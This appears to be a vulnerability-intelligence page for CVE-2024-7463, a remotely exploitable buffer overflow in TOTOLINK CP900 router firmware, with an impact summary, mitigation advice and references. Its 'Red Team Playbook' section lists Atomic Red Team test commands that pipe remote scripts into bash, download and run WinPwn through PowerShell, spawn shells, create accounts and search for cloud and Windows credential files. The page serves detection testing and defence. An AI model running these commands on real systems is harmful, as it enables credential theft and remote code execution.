CVE-2024-7463
Overview
This vulnerability is a buffer overflow caused by improper handling of the File argument in the UploadCustomModule function within the /cgi-bin/cstecgi.cgi endpoint of TOTOLINK CP900 firmware version 6.3c.566. The root cause lies in insufficient bounds checking during the processing of user-supplied input, allowing memory corruption. The affected component is the custom module upload functionality in the device's web interface.
Vulnerability Description
A vulnerability classified as critical was found in TOTOLINK CP900 6.3c.566. This vulnerability affects the function UploadCustomModule of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument File leads to buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-273556. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
Impact
An attacker with network access can exploit this vulnerability remotely without user interaction to execute arbitrary code or disrupt device operation by triggering a buffer overflow. The exploit requires low attack complexity and only limited privileges (PR:L), with no user interface needed (UI:N). This can result in full compromise of the device’s confidentiality, integrity, and availability (C:H/I:H/A:H), enabling unauthorized control or denial of service against the affected device.
Solution
No official vendor patch or advisory has been published as the vendor did not respond to disclosure requests. Users should monitor the referenced vulnerability database entries (VDB-273556) for updates. Until a patch is available, restrict network access to the device management interface and disable the UploadCustomModule functionality if possible to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the TOTOLINK CP900 router firmware version 6.3c.566, specifically within the UploadCustomModule function of the cgi-bin/cstecgi.cgi file. This vulnerability is characterized by a buffer overflow that occurs when an attacker manipulates the File argument. Buffer overflow vulnerabilities arise when data exceeds the allocated buffer size, leading to the overwriting of adjacent memory. In this case, the lack of proper input validation allows an attacker to send crafted requests that can overwrite critical memory locations, potentially enabling arbitrary code execution or denial of service.
The attack vector for this vulnerability is particularly concerning due to its remote exploitability. An attacker does not require physical access to the device; instead, they can initiate an attack over the network. This remote access capability significantly broadens the potential threat landscape, as it allows malicious actors to target devices from anywhere on the internet. Exploitation could occur through various methods, such as sending specially crafted HTTP requests to the vulnerable endpoint. Once the buffer overflow is successfully executed, the attacker could gain control over the device, leading to unauthorized access, data exfiltration, or further network compromise.
The real-world impact of this vulnerability is substantial, especially for businesses relying on the affected router model for their network infrastructure. Given the critical nature of the vulnerability, organizations could face severe operational disruptions if exploited. An attacker could leverage this vulnerability to conduct a range of malicious activities, including but not limited to, deploying malware, intercepting sensitive communications, or using the compromised device as a launchpad for attacks against other systems. The potential for reputational damage, financial loss, and regulatory repercussions cannot be understated, particularly if sensitive customer data is exposed or if the device is used in a larger attack against third parties.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, network monitoring tools should be employed to identify unusual traffic patterns or unauthorized access attempts targeting the vulnerable router. Regular vulnerability scanning and penetration testing can help uncover potential exploitation attempts before they lead to successful attacks. Additionally, organizations should prioritize patch management, ensuring that all devices are updated with the latest firmware versions that address known vulnerabilities. In this case, since the vendor has not responded to disclosure attempts, it is critical for users to consider alternative security measures, such as implementing firewall rules to restrict access to the vulnerable service and isolating affected devices from sensitive parts of the network.
In conclusion, the buffer overflow vulnerability in the TOTOLINK CP900 router poses a significant threat to organizations that utilize this device. The combination of remote exploitability and the potential for severe consequences necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can better safeguard their networks against the exploitation of this critical vulnerability and reduce the associated risks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Totolink | Cp900 Firmware | 6.3c.566 |
cpe:2.3:o:totolink:cp900_firmware:6.3c.566:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-7463 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/?id.273556 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/?ctiid.273556 |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/?submit.381333 |
| github.com |
GitHub CVE
exploit
|
https://github.com/abcdefg-png/IoT-vulnerable/blob/main/TOTOLINK/CP900/UploadCustomModule.md |